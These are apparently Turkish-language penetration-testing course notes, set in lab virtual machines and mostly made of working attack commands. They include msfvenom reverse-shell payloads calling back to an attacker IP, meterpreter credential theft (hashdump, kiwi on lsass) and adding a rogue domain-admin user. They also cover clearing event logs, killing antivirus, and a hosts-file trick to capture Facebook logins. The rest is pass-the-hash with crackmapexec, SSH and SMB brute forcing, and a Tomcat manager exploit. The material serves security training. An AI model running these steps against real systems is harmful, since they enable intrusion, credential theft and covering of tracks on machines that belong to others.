genelde : windows/x64/meterpreter/reverse_tcp = meterpreter kullanılır bu bir ajadır ve karşı tarafa yüklenir. Daha sonra bu ajan üzerinde yani gelişmiş arayüz komut satırı üzerinden çok hızlı bir çok işlem gerçekleştirilenilir.


Meterpreter: zafiyetin sömürülmesi sonrasında yerleştirilen bir ajan olarak düşünebiliriz


örn:


windows da ram dan clear text parolaları çekmeniz lazım bu durumda içeri kiwi veya mimikatz yüklemeniz gerekecektir


meterpreter imdadımıza yetişir burdumda çünkü içerisinde bunları barındırır
reverse shell – bind shell farkı(Araştırma konusu!!!):


Reverse shell de sömürülen sisteme:


örn: pen seni kendi makinemde 4444 port da bekliyorrum


sen komut satırına al 1.2.3.4:4444 ipmin portuna bağlantı yap ve bana komut satırını ver


Bind Shell de sömürülen sistemde bir bir port açılır


ve bu serfer biz bağlanıyor açtığımız port üzerinden


Peki neden bulara ihtiyaç duyuluyor:


ortada bir fireWall doluğunu düşünün


genelde kurum içinden dışarı çok fazla engellemeler yapılmaz


ama kurum dışında içeriye bir çok engelleme yapılır


temelde bu tip bir seneryoda reverse shell çok daha işlevseldir


diyelimki kurum içinde bir makineden diyerine geçtik ama geçtiğimiz makine kurum dışına hiçbir şekilde çıkmıyor ve sana nasıl geleceğini bilmediğinden bir önce ki makineden bind shell yaparak network sel problemleri aşabiliriz


(Devam) şimdi:


payload ımızı değiştirelim şimdi:


set PAYLOAD windows/x64/meterpreter/bind_tcp


şim bu kısımda options set ettiğimizi kontrol edelim:


burada diyoruz ki:


ben bu makinenin local inde 4444 port unu açacağım


ve zafiyet varsa 4444 portuna bağlanacağım


run diyerek çalıştıralım bakalım çalışacakmı.... Ve eevt çalıştı bağlandık:


help diyerek çalıştırılabilir yerleşik komutları görebiliriz.


:D
Exploit Aşaması: Metasploit 3


Artık nasıl gireceğimizi anladığımıza göre şimdi meterpreter in yeteneklerine bakacağız


mesela yeni bir terminal açın ve: searchsploit ms17 yaparak exploit aratabilirizsiniz


mesela hatırlarsak lotus cms vardı bunu aratalım: searchsploit lotus cms


mesela meterpreter ile bir makinedeyiz backround komutu ile arka plana aalabiliriz


bunları yönetmek için sesions komutu ile görüntüleyebiliriz


eğer ilgili sesions a geçmek için sesions ile birlikte id numarasını verirseninz geçebilirsiniz


eğer kapatmak istersek sesions -k id numarasını verirseni bu sesions ı kill eder


ve tekarar run etmek zorundasınız eğer çalıştırmak isterseniz


eğer sesions -K dersek var olan tüm oturumlar sonlandırılır
Exploit Aşaması: Msfvenom


Normal şartlarda bir sistem var ve bu sistem bizim için hack edilmesi gereken bir sistem


normal şartlardaki izlediğimiz süreç:


Portlar


Servisler ve Teknolojiler


Zafiyet keşfi


Exploit


zafiyetin direkt sömürülemediğini veya hiçbir zafiyetin olmadığını düşünelim


burudumda hedefe dolaylı yollardan bir exploit göndermemiz gerekebilir


örn:


bir usb ile bir exe yükletilebilir


farklı bir dosyanın tetikletilmesini sağlanabilir


nasıl yüklenecek?


veya bir Web uygulamasında bir FileUpload zafiyeti var:


FileUpload zafiyeti olsun


normal de .pdf ve .xls dosya formalarını yükleyebilirsiniz desin


ve bizde /uploads/ adlı dizine ekelediğini gömüş olalım


bir şekilde baypass edilerek içeri zararlı PHP dosyası yüklüyoruz


bu zararlı php yi üretmeni gerekiyor ve metasploit den bununla beraber shell almanız gerekiyor ne yapacaksınız?


İşte bu nokta bizim hayatımızı kurtaran msfvenom kurtarırı diyebiliriz


sudo msfvenom -h ile bilgi alabiliriz


bu araçla üretebilceğimiz payloadları görmek için: sudo msfvenom -l payloads


burada şuan 1471 tane payload var açıklamaları ile beraber


basit bir payload oluşturalım:


sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.126.129 lport=443 -f exe > win7.exe


lhosts: sen bir yerde çalıştırğında bu ip ye gel demek


lport: ben seni bu portta dinleyeceğim


-f: bana bu dosya formatı bir şey üret


> wim7.exe: olarak üret


ve ürettik: win7.exe


karşı tarafa bunu yüklemek ve onu dinlemek için bi handler ayağa kaldırmka gerekiyor bunu msfconsole da yapacaız


bunu içinde msfconsola da: use exploit/multi/handler


daha sonra hazırladığımız payload ı vereceğiz


set PAYLOAD windows/x64/meterpreter/reverse_tcp


keni ipmiz: set LHOST 192.168.126.129


dinlediğimiz port: set LPORT 443


run yerine exploit -j dersek arkaplanda bir job olarak çalışır


bunu görmek için jobs komutu vermeniz yeterli


şimdi oluştruduğumuz dosyamızı web ortamında bir bağlantı linki oluşturalım mesela dosya.tc den


sonra diğer makineden bunu upload edelim ve çalıştırmaya çalışalım


daha sonra kendi makinemize gelelim


ve ters bağlantı geldiğini görebilirsiniz


biraz bekleyin


ve sonra sessions diyerek listeleyin ve id parametresini session 4 gibi girin


aratık makinedeyiz


sysinfo ile pc bilgilerini görüntüleyebiliriz


backround ile arka plana atalım ve jobs ile bakalım nasıl haberleşiyoruz:


4 meterpreter x64/windows WIN-FVUGJ3471LB\windows7 @ WIN-FVUGJ3471LB 192.168.126.129:443 -> 192.168.126.134:49628 (192.168.126.134)


Hadi buda ödev: Kali de bir revers shell almayı deneyin


msfvenom da örn bir encoder veya evasion lara bak araştır: bu herhangi bir firewall anasıl yakalanmadan süreci atlatabileceğinize dair bir bilgi edinin


adım adım gidelim


makinemizin linux olduğunu biliyoruz reverseShell hazırlayalım msfvenom ile:


sudo msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.126.129 lport=443 -f elf > linux.elf


sonra bu dosyanın olduğu yerde bir httpServer ayakandıralım


python3 -m http.server 80


bu dizindeki dosyalara başka makineden ulaşmak için:


http://192.168.126.129/


daha sonra sudo msfconsola


use exploit/multi/handler


set PAYLOAD linux/x64/meterpreter_reverse_tcp


set LHOST 192.168.126.129


set LPORT 443


exploit -j


sonra link i diğer linux makinede girin ve linux.elf dosyasını indirin


sonra chmod +x linux.elf


./linux.elf


şimdi kendi makinenize geçin


sessions ile görüntüleyin ve id numarası ile beraber tekrar yazıp aktif edin


ve içerdesiniz help menusü ile çalıştırabilecğiniz komutlar var


bazen olmayabilir bunun için


shell veya load stdapi komutunu girin olması gerek


bu kısım burayakadar
Exploit Aşaması: Parola Saldırısı


Metasploit ile veya farklı araç kitleri ile nasıl parola saldırıları yapabilirz?


Bu kulanıcı adı, parolaya nasıl otomatize olarak deneme yapabiliriz?


Özellikle dikkat edilmesi gereken konu ActiveDirectory


ActiveDirectory: Microsoft tarafından Windows tabanlı sunucular ve son kullanıcılar için geliştirilmiş olan merkezi bir kimlik yönetim sistemidir.


Bu gibi yapılarda passwordLocalPolicy ler var ve olası bir şekilde bütün kullanıcılar için böyle bir “parola kırma” saldırıs yaparsanız bir anda bütün kurumu kitleyebilirsiniz o yüzden çok dikkatli olunması gerekiyor


buna da PasswordSprayingAttacks denir.


Daha anlamlı olamsı için mesela bir parolayı birden fazla kullanıcıda deneyebilirsiniz


kendi win server makinemizde cmd de net users ile kullanıcıları görüntüleyelim


peki biz bu kullancılara metasploit üzerinden nasıl saldırı yapabiliriz?


Kali şöyle bir alan var: cd /usr/share/wordlists


ls -l ile listele


burada varsayılan olarak kali ile beraber gelen word listler var


mesela metasploit gidelim: cd metasploit


buradaki şu adobe_top100_pass.txt dosyayı kendi dizinimize kopyalayalım


ve içerisine de kendi şifremizi girelim ki çalıştığını gözlemleyelim:


cp adobe_top100_pass.txt ~/btk-uygulamali-sizma-testi/passwordList.txt


cd ~/btk-uygulamali-sizma-testi/


nano passwordList.txt


en sona gitmek için crtl + end sonra kendi şifrenizi girin


kaydedip çıkmak için: ctrl +x,y,enter


smb üzerinden login işlemi yapacağımız için metasploit de arayalım bu scripti


sudo msfconsole


search smb_login


use 0


sonra gerekliliklerine bakalım: options


kesinlikle RHOST istiyor ve deneme yapacğı PASS_FILE istiyor


hatırlarsak services -p 445 ile hangi sistemlere yönelikhamle yapabileceğimizi görüntüleyebiliyorduk


diyelimki şimdi diyer makineler kaplı ve ek olarak bir db_nmap ile win server eklemiştim bunların hepsini ekleyelim


services -p 445 -R


options ile kontrol edelim


şimdi PASS_FILE verelim: set PASS_FILE /home/dogukan/btk-uygulamali-sizma-testi/passwordList.txt


bir de yeni terminalde cd btk-uygulamali-sizma-testi


nano userList.txt buraya birkaç tane kullanıcı adı girin gerçek olanı da girin


Administrator


Admin


Windowsr2


windowsr2


root


SMBDomain istiyor. Bizim domainimiz neydi:


sudo nmap -p 445 192.168.126.135 -script=smb-os-discovery


fakat bu noktada birden fazla kez deneme yapacağımız için direkt patlarız


yani “anomali” oluşturabiliriz bu da istemeyeceğimiz bir şey!!


. ver diğinde local makinede dener. Bizde bunu değiştirmeyeceğiz


USER_FILE için de oluşturduğumuz dosyayı verelim


set USER_FILE /home/dogukan/btk-uygulamali-sizma-testi/userList.txt


set THREADS 10 ile dene diyoruz


set STOP_ON_SUCCESS true yani bulduğunda dur diyoruz


run ile başlatalım


ve buldu:


[+] 192.168.126.135:445 - 192.168.126.135:445 - Success: '.\Windowsr2:windowsr2' Administrator


bu hesabın admin yetkiside varmış :d


diğer araçlarıda araştır. Örn: medusa, ncrack, hydra vb.
Exploit Aşaması: Post Exploit


Öncelikle daha önce oluşturduğumuz win7.exe dosyamızı python3 ile http.server üzerinden win makinelere verelim ama bir tane daha yapalım :


sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.126.129 lport=444 -f exe > Win7_2.exe


biri bir makineye diğeri bir makineye


açmadan önce msfconsole de dinleyelim


use exploit/multi/handler


options


set PAYLOAD windows/x64/meterpreter/reverse_tcp


msfvenom ile oluşturulan payload


set LHOST 192.168.126.129


kendi ipmiz


set LPORT 443


dinlediğimiz port


exploit -j ile arkaya atalım


sonra set LPORT 444 yapalım ve onuda exploit -j ile arkaya atalım


job ile bunu görüntüleyebilirsin


şimdi win makinelerinde bu dosyayı indirip açmayaçalışalım


dosyaları içtığınızda sessions a gelecektir reverse


her hangi birini sessions id numarası ile seçin


sistem içerisine girdik


sysinfo ile bir bakalım nedir kimdir


kim olarak sistemdeyiz: getuid


peki sistemden en yetkili kişiye geçebiliyormuyum: getsystem


win server 2008r2 de şuan adminiz


getuid


Server username: NT AUTHORITY\SYSTEM


shell ile terminale geçelim


kullanıcıları görelim: net users


şimdi exit ile çıkalım ve acaba kullanıcıların hash lerini alabilirmiyiz bakalım


exit


hashdump


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


windowsr2:1000:aad3b435b51404eeaad3b435b51404ee:f7232529144b5ba4d86031f411a077a3:::


alabiliyormuşuz.


Buları alıp saklamalı ve işlemler yapmalıyız (Daha sonra görülecek)


hedef sistemde mimikatz veya kiwi çalıştırılabilir


bunlar RAM den açık metin parolaları okumak adına kullanılabilir


bunu da yapmak için önce:


migrate -N lsass.exe


lsass.exe : microsoft un bir çok kriptografik işlemlerini, oturum yönetim işlemlerini yürüten proccess lerden birtanesi


buna migrate ile geçiş yapalım


sonra creds_all ile lsass.exe nini içeriğini listelyebiliriz


ama getsystem dememiz ve ondan önce de admin token ini almış olmamız gerek!


load kiwi yapalım


kiwi: mimikatz in bir üst versionu, RAM den paroa çekmemize yarayacak


creds_all ile bakalım birşeyler bulabilirmiyiz.


Şimdi de load incognito diyelim


list_tokens -u ile eğer bir ihtimal domain admin token i var olabilir


impersonate_token WIN-FVUGJ3471LB\Administrator


shell


net user DK passwd123! /add /domain


net group “Domain Admins” DK /add /domain


şuan tüm networkde sınırsız yetkiye sahip bir DK adın kullanıcımız var ve parolası passwd123!


Exit ile meterpreter e çıkın getsystem ile NT ye geçin


hedef sistemden screeshot almak için: screenshot


kayıtr edilen path i verir


açmak için


open /home/dogukan/btk-uygulamali-sizma-testi/vykBfAPa.jpeg


upload işleminide kullanalım


ekran görüntüsünü upload edelim


upload /home/dogukan/btk-uygulamali-sizma-testi/vykBfAPa.jpeg


upload /home/dogukan/btk-uygulamali-sizma-testi/vykBfAPa.jpeg C:\\Users\\windowsr2\\Desktop\\


\\ : kaçış karakteridir o yüzden 2 tane kullanmalıyız


veya bir şey indirelim


windows da masaüstünde ki resim dosyasını upload edelim


upload C:\\Users\\windowsr2\\Desktop\\resim.jpeg /home/dogukan/btk-uygulamali-sizma-testi/


makinede çalışan proccess leri görmek için: ps


anti virüs varmı onalara bakabilirsiniz


makinede postExploit çalıştırabiliriz


run post/windows/gather/enum_applications


makinede yüklü uygulamaları getirecektir


help dediğimizde bir çok çalıştırılabilir komut bulailiriz


clearev ile tüm loglarımızı silebiliriz


mesela antiviris kontrolü için:


run post/windows/manage/killav


run post/windows/manage/enable_rdp


mesela karşı tarafta rdp kapalı, açmak için kullanılır


test etmek için farklı terminalde nmap 192.168.126.135 -p 3389 a bakalım


açık


yeri geldiğinde uzaktan masa üstrü bağlantısı da yapabiliriz


mesela facebook gibi platform hacklemek için


run hostsedit -e <kendi ipniz>, <birebir kopyaladığınız uygulamanın login kısmı>


run hosts -e 192.168.12.12, facebook.com


bu gider host dosyasına bunu kayıt eder


eğer kullannıcı bu cihazdan facebook a giriş yapmak isterse host dosyasına kayıtlı olan bu(sizin) ipniz üzerinde username/password girmeye çalışır ve sizde bu bilgileri alırsınız
Exploit Aşaması: Pass The Hash & CME


Şimdi metasploitte session da hacklediğimiz r2 makinesine geçelim


getsystem


sysinfo


hashdump


buradakileri koplayın ve sonra farklı terminalde kendi dizininizde


nano hashList


buraya yapıştırın (ctrl+shitf+v)


ctrl+x, y ,enter


buraki şu ikililer işimize yarar: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0


bunuları nasıl alabiliriz? Bu bilgiyi passTheHash saldırısında kullanabiliriz


cat hashList | cut -d “:” -f 3,4


bunuda: cat hashdump | cut -d “:” -f 3,4 > hashCutList


bunu makinede deneyeceğiz:


bir userList oluştur ve içini doldur


nano userList.txt


administrator


admin


windowsr2


root


şimdi metasploite geçelim


search smb_login


use 0


options


set PASS_FILE /home/dogukan/btk-uygulamali-sizma-testi/hashCutList


db_nmap -p 445 192.168.126.0/24 --open


services -p 445 -R


set USER_FILE /home/dogukan/btk-uygulamali-sizma-testi/userList


set STOP_ON_SUCCESS false


set THREADS 10


set CREATESESSION yes (girdiklerini hemen açar sessions dan görebilirsin)


run


DİKKAT:


BU TÜR BİR BRUTEFORCE ATAĞINDA KARŞI TARAFIN HESAPLARINI KİTLEMEYİN PASSWORDLOCALPOLICY E YAKALANIP, BUNUN İÇİN DİKKATLİ OLUN!!


crackmapexec(1) bu aracı(2) kullanacağız:(3)


mesela smb den aldığımız bilgiler ile bu raçla giremeyi deneyelim:


crackmapexec smb 192.168.126.135 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe


ben admin hesabına yeni parolo verdim şimdi adımlarımı tekrarlayaracağım aynı zaten


nasıl yaptığımı yazacğım:


r2 makinemizi önce yeniden başlatalım ve açılırken F8 e basalım


security mod da başlatın


cmd yi admin olarak açın


net user Administrator Password123! Yapın


sonra tekarar yeniden başlatın


admin kullanıcısı için parolanız: Password123!


şöyle düşnün r2 makinesi sanki başka bir makineymiş de biz başka yerden aldığımız hashleri buarada denmişiz ve eşleşme bulumuş gibi olsun. Çünkü bu örnek global de oldukça sık görünen bir şey dir.


Şimdi search smb_login işleminden hash ile crackmapexec işleminede kadar aynı


ve evet!!!!


crackmapexec smb 192.168.126.135 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe


SMB 192.168.126.135 445 WIN-JMHDABVG73R [+] WIN-JMHDABVG73R\Administrator:2b576acbe6bcfda7294d6bd18041b8fe (Pwn3d!)


şöylede yapılabilir:


db_nmap -p 445 192.168.126.0/24 –open ile ağdaki tüm 445 portu açık olanları taratırsınız


sonra: services -p 445 -R ile bunları ekler ve atack yaparsınız


tekrar etmekte fayda var: bu tür bir atack da karşı tarafın hesaplarını kitlemeyin!!


crackmapexec bu araç ile sam alalım r2 makineden:


crackmapexec smb 192.168.126.0/24 -d . -u Administrator -H aad3b435b51404eeaad3b435b51404ee:970ba7d4c92f712d0363706d6144c058 --sam
Exploit Aşaması: HashCat & Crunch


Şimdi elde ettiğimiz hash bilgilerini diyelim ki açık metin olarak olarak görmek istiyoruz ne yapacağız?


Sudo jhon –format=NT <ayıkladığımız hash dosyası>


bu biraz uzun sürebilir


ek olarak birtane passwordList.txt adında bir dosyamız vardı onunlar eşleştirme yapabilirz


Sudo jhon –format=NT hashCutList –wordlist=passwordList.txt


Ek: hashdeep, hashid, hash, hash-identifier araştır!!


veya hashcat ile bakabiliriz, ancak şifreleme tipini bilemediğimiz zamanlarda hashdeep hariç diğer araçları veya online araçları kullanabiliriz. Şuanki şifreleme NTLM tipinde


hashcat -h|grep NTLM


1000 | NTLM | Operating System


hascat -h ile kullanımı görebilirsiniz en altta example kısmında


örn: hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a


gibi


not: -D, --opencl-device-types | Str | OpenCL device-types to use, separated with commas | -D 1


hashcat oldukça gpu kullanır ben bunu cpu yapacağım


komutumuz: sudo hashcat -a 3 -m 1000 hashList -D 1


hashList içeriği:


Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::


Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


windowsr2:1000:aad3b435b51404eeaad3b435b51404ee:f7232529144b5ba4d86031f411a077a3:::


wordlist oluşturmak için crunh kullanabiliriz mesela:


şu komut ile karakter setini bulabiliriz: sudo find / charset.lst|grep charset.lst


/usr/share/crunch/charset.lst


cat ile okuyalım: cat /usr/share/crunch/charset.lst


man crunch ile daha fazla bilgi ve kullanıl görebilirsin


burada kullanabileceğiniz karakter setleri var hadi deneyelim


crunch 11 11 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space-sv -t d@o,gu%kan^


çıktı:


..........


dOoEgu0kan"


dOoEgu0kan'


dOoEgu0kan<


dOoEgu0kan>


dOoEgu0kan,


dOoEgu0kan.


dOoEgu0kan?


............


@ küçük harfli karakterler ekleyecek


, büyük harfli karakterler ekleyecek


% sayıları ekleyecek


^ sembolleri ekleyecek


min 11 karakterden max 11 karaktere kadar(dahil)


mixalpha-numeric-all-space-sv karşılığı => abcdefghijklmnopqrstuvwxyzåäöABCDEFGHIJKLMNOPQRSTUVWXYZÅÄÖ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/


gibi bir wordlist oluşturulabilir veya BruteForce saldırısı yapılabilir








LAB GENEL BAKIŞ


Typhoon ve Kevgir makinelerini zaten kurmuştuk


şimdi genel bir başlangıç olarak bu iki makineyi hiç bilmiyormş gibi yapalım


izlenecek adımlar:


keşif


port/ servis


zafiyet keşfi


exploitation (zaiyerti sömürme)


post exploitation (daha sonrası)


persistece (sürekliliğin sağlanması)


önce ağdaki kim var?


Sudo nmap -sP 192.168.10.0/24


sadece ping taraması yaparak teşhis edelim


192.168.10.128,129,130 (130 biziz)


şimdi şimdi açık portlara bir akmaya çalışalım


sudo nmap 192.168.10.128,129 -Pn -sT -n –open


şimdi diğer makinelerde bir script çalıştırarak bunların ne olduklarına bakalım smb(445) portundan


sudo nmap 192.168.10.128,129 -p 445 -script=smb-os-discovery


açık port ve makine adlarını aldık


NetBIOS computer name: CANYOUPWNME\x00 (192.168.10.128)


NetBIOS computer name: TYPHOON\x00 (192.168.10.129)
KEVGİR ANALİZİ

İLK HEDEF: CANYOUPWNME\x00


-sP ile bir network taraması yaptınız ama bu her zaman işe yaramayabilir


hangi durumlarda?


Karşı tarafta bir windows makine var ve FireWall aktif


Karşı tarafta bir linuz makine var ve icmp paketlerini direk dropluyor


bu gibi durumlarda


-sP ile tüm network te tarama yaparsanız ve ping e cevap alırsa “evet buradaki bu sistem ayaktadır” der


karşınızda windows bir sistem FireWall aktif veya linux da iptables a kural girilniş bir sistem varsa


aslında sistem ayaktadır ama siz gönderilen pakete karşılık alamayabilirsiniz!


Ve bu durumda ad ayakta olan bir sistemi kapalıymış gibi görebilirsiniz!


Bu durumda -sP parametresi yanıda -Pn ile ping atmadan tarama yapabilirisniz.


Şimdi makine üzerinde tarama yapalım.


Sudo nmap -Pn -sT -vv -n 192.168.10.100-130 -T4 -top-ports=100 -oA egitim -sT


komutumuz: ping atmadan TCP handshake yap her adımı göster şu ip aralığında ve t4 hızında en sık kullanılan 100 port için yap çıktıları 3 farklı türde egitim adında yazdır ve çalışan servislerin versionlarını al.


Şimdi sadece hedef makinemize odaklanalım 192.168.10.128 (kevgir vm)


burada birçok portta çalışan servisler var ama biz emin olmak istiyoruz o halde -A parametresi ekleyerek bunu analiz edelim! Ama önce version tarması


sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -top-ports=100 -oA egitim -sV


daha önce 25 portunda smtp vardı ama şimdi ise ftp var ve version olarak vsftpd 3.0.2 versionu çalışıyor


işletim sistemini keşfetmek için -O verirsek:


sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -top-ports=100 -oA egitim -O


eğer -A verirsek hem işletim sistemi hem keşfettiği servislere bilgi keşfetme scriptlerini çalıştırır ve ekstra ne bulursa onu getirir


sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -top-ports=100 -oA egitim -A
İşin Teorik Kısmını Anladıysak Artık Gerçek Kısmına Geçelim


sudo nmap -Pn -sT -n -vv 192.168.10.128 -T4 -p- -sV


genel bir tarama ile başlayalım


burada 80 portunda birşeyler görmüştük nikto -h 192.168.10.128 -p 80 ile bu adrese yönelik zafiyet keşfi yapmaya çalışalım.


Aynı zamanda bu ip adresine gitmekte faydalı olabilir http://192.168.10.128


wep sayfasında pek bir şey göremedik. ctrl+u ile kaynaktada bir şey göremedik


ama dizin tarama araçları ile birşeyler bulabiliriz


sudo wfuzz -c -v -w /usr/share/dirb/wordlists/common.txt -u http://192.168.10.128/FUZZ --hc 404,403


araştımanız için autorecon aracını tavsiye ederim


dirb 192.168.10.128


şuan web lere odaklandık weblerden herhangi bir şey çıkabilir


bir de şuna bakalım: nikto -h 192.168.10.128 -p 8081


sudo wfuzz -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.128:8081/FUZZ/ --hc 404,403


not wfuzz ı dizin olarak tarattığımızda bulduk


ve nikto da: /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.


Browser dan http://192.168.10.128:8081


kaynak koduna bakalım bu joomla nın versionu vardır belki
Joomla! 1.5 - Open Source Content Management



buna göre exploit arayacağız


browser da how to exploit joomla 1.5


gibi böyle böyle araştırmamıza devam edeceğiz


birde 8080 portunda tomcat var ona bir gidelim


http://192.168.10.128:8080


burada bizi bir servis ekranı karşılıyor


şu satır da tomcat7-admin


verilen linke tıkladığımızda bir user:password girişi var


acaba default giriş ile girebilir miyiz?


Şurad: link deneyebileceğimiz kullanıcılar var bakalım


tomcat:tomcat


böyle bir kullanıcı varmış


Peki ya bulamasaydık ne yapabilirdik?


Sudo msfdb init


sudo msfconsole


bir çalışma alanı ekleyelim


wordspace -a egitim1


db_nmap -p- -Pn -n 192.168.10.128 --open -sT -sV


services ile üzerinde çalışabileceğimiz servisleri görümtüleyebiliyoruz


search tomcat login


şu kısmı bulıun:


auxiliary/scanner/http/tomcat_mgr_login . normal No Tomcat Application Manager Login Utility


use 0


options gerekliliklere bakalım


RHOSTS vermemiz lazım (saldırılacak host)


services -p 8080 -R


set STOP_ON_SUCCESS yes


set THREADS 10


run


buldu tomcat:tomcat


parola vey user eğiştirmek isterseniz daha önce bunu nasıl yapabağımız görmüştük


şimdi de ssh üzerine gidelim


ssh da ne tür kullanıcılar var bunlara karşı brutefoce saldırı sapabilirmiyiz?


Ama karşı tarafta FailToBan olabilir:


Fail2Ban, Linux sistemlerini ve sunucularını brute-force saldırılarından koruyan Python ile yazılmış bir saldırı önleme çerçevesidir.


Ortada firewall, SIEM gibi bir güvenlik önlemi varsa ofansif taraftaki kişi kendini ele verebilir.


SIEM, bir ağda real time olarak neler olduğuna dair bütünsel bir görünüm sağlar. BT ekiplerinin güvenlik tehditlerine karşı mücadelesinde daha proaktif olmalarını sağlar.


O yüzden hangi durumda kullanılması gerekiyor bunu doğru idrak etmekte fayda var.


metasploit de search ssh enumusers aratın.


auxiliary/scanner/ssh/ssh_enumusers


daha sonra use 1


services -S ssh


hedef makineye ait portlarda çalışan ssh


ssh: güvenli olmayan bir ağ üzerinden bir bilgisayara erişmenin güvenli bir yolunu sunan bir ağ protokolüdür


şimdi services -p 1322 -R


şimdi karşı tarafta 1322 port olduğundan bunu da ayarlamalıyız


set RPORT 1322


set THREADS 10


set USER_FILE /usr/share/seclists/Usernames/cirt-default-usernames.txt


set CHECK_FALSE no


yanlış pozitifleri kontrol etme


şimdi run diyelim ve neler var bakalım


bir çok kullanıcı adı bulduk admin kullanıcısından gidebiliriz


search ssh login


auxiliary/scanner/ssh/ssh_login


use 14


options


set USERNAME admin


services -p 1322 -R


set RPORT 1322


set THREADS 10


set PASS_FILE /usr/share/wordlists/rockyou.txt


set STOP_ON_SUCCESS yes


set VERBOSE yes


run


bu çalışa dursun


bunu ek olarak medusa aracı ilede yapabiliriz


sudo medusa -h 192.168.10.128 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh -n 1322 -t 50


burada ben şimdilik kesiyorum ama siz devam edebilirsiniz. Bayadır bekledim bulamadı ama belki siz bulalabilirsiniz


Şimdi nessus u kuralım


yopmail.com üzerinden bir mail adresi alın ve bu mail adresi üzerinden size aktivasyon kodu verecek nessus yopmail


sayfada girişi yaptıktan sonra bir indirme bağlatısı verecek


cd ~/Desktop;mkdir Nessus;mv ../Downloads/<indirilen nessus> Nessus


sudo dpkg -i Nessus/<nessus dosyası>






















NOT: bir yerden bir yere dosya transferi için:


python3 -m http.server


bu komutu çalıştırdığınız dizine bir erişim verirsiniz


bağlatı: http://<ip adresiniz:port numarası>/


veya terminalden:


wget 192.168.10.130:8000/Nessus/Nessus-10.8.3-ubuntu1604_amd64.deb


ftp server için:


sudo pip install pyftpdlib


olmazsa şu parametreyi ekle: --break-system-packages


python3 -m pyftpdlib -i 192.168.10.130 -p 21


bağlantı için: terminalde ftp 192.168.10.130


varsayılan kullanıcı adı: anonymouse


varsayılan parola: yok enter de geç


kullanıcı tanımlama için ve eke özellikler için interneti araştır


linuxdaki bu az kullanılan aracı araştırmanızı tavsiye ederim: httpclient


işimizi hallettiğimize göre dpkg iel çalıştırdığımız nessus programı terminalde bize ulaşım için şöyle bir link verdi: ama öncesinde servis başlatmalıyız:


- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service


- Then go to https://kali:8834/ to configure your scanner


servisi başlat: /bin/systemctl start nessusd.service


sonra browserdan git: https://kali:8834/


kurulum:


continue


nessus essentials


isim soy isim ve yopmail adresi


skip


maile gelen aktivasyo kodu


şimdi kullancı oluşturalım:


kullanıcı adı


parola


şimdi derlemenin tamamlanmasını bekleyeceğiz


sağ yukarıda dönen bir daire var o derleme yüzdesini gösteriyor biraz bekleyeceğiz


bu free sürümde 2029 a kadar toplam 16 host a işlem yapabiliriz max.


şimdi sayfayı yenileyin


sol yukarıda scans a tıkla


karşına çıkan çerçeveyi kapat ve sağ taraftaki new scan a tıkla


advenced scan


name: Kevgir Zafiyet Taraması


targets: kevgir makine ipsi


discovery/port scanning/tcp yi tikle


assessment/web aplication/scan web application on yapın


en altta save butonuna tıkla


karşınıza çıkan ekranda scan işlemini başlatabiliriniz


bunları görmek için tarama işlemi üzerine tıklayın


buradan sonra yanlızsınızı bu aracı biraz keşfedin fakat koca bir network için zafiyet taraması ve benzeri işlemler sadece nessus ile olmaz bunu için kendi manue becerilerinizi de geliştirmeniz gerek.


Nessus servisini kapatmak için: sudo systemctl stop nessusd.service


başlatmak için: sudo systemctl start nessusd.service
EXPLOIT AŞAMASINA= Tomcat:


Hatırlarsak 8080 portunda tomcat vardı tekrar bir bakalım


sudo nmap 192.168.10.128 -p 8080 -Pn -n -T4 -sV -version-intensity 9


-version-intensity: -sV ile kullanılır ve version tarama hassasiyetini belirtir (max 9)


kullanıcı adı ve parolamızda: tomcat:tomcat idi.


Şimdi metasploit de kullanıcı adı ve parolası bilinen tomcat elegeçirme yolu:


metasploit idi başlat


egitim çalışma alanına geç


search tomcat_mgr_deploy veya search tomcat_mgr_upload


ben uploadı alıyorum use ile


ama önce tomcat e yönelik login bruteforce işlemini tekrar hatırlayalım:


search tomcat login


use 0


set RHOSTS 192.168.10.128


set THREADS 10


set STOP_ON_SUCCESS yes


options


run


sonuç: [+] 192.168.10.128:8080 - Login Successful: tomcat:tomcat


şimdi tekarar search tomcat


burada mgr_uploadı bul ve use ile seç


NOT: eğer makineden, yaptığınız işlemler sonucu bir yanıt veya olası gereken yanıtı alamazsanız izlediğiniz adımları kontrol edin ve makineyi yeniden başlatın


set RHOSTS 192.168.10.128


set RPORT 8080


set HTTPUSERNAME tomcat


set HTTPPASSWORD tomcat


LHOST için kendi makine ipnizi yazın her ihtimale karşı terminalde ipnizi ifconfig ile doğrulayın


biz 4444 portunda dinlemede olacağız


şimdi run diyerek çalıştıralım


getuid ile kullanıcı kontrolu ve pwd ile yerimizi kontrol edelim


sysinfo ile sisteme bakalım


kullanıcıları listeleyelim: cat /etc/passwd


shell ile makineye girelim


id ile kullanıcı id lerine bakalım


hostname ile makine ismine bakalım


uname -a ile makine sistem bilgisine bakalım


şimdi buradan çıkabiliriz(backround). Bir sonraki adımda bunu nasıl manuel yaparız ona odaklanalım.


Manuel olarak bir exploit aşaması gerçekleştireceğiz. Bu aşamada ne yapabiliriz?


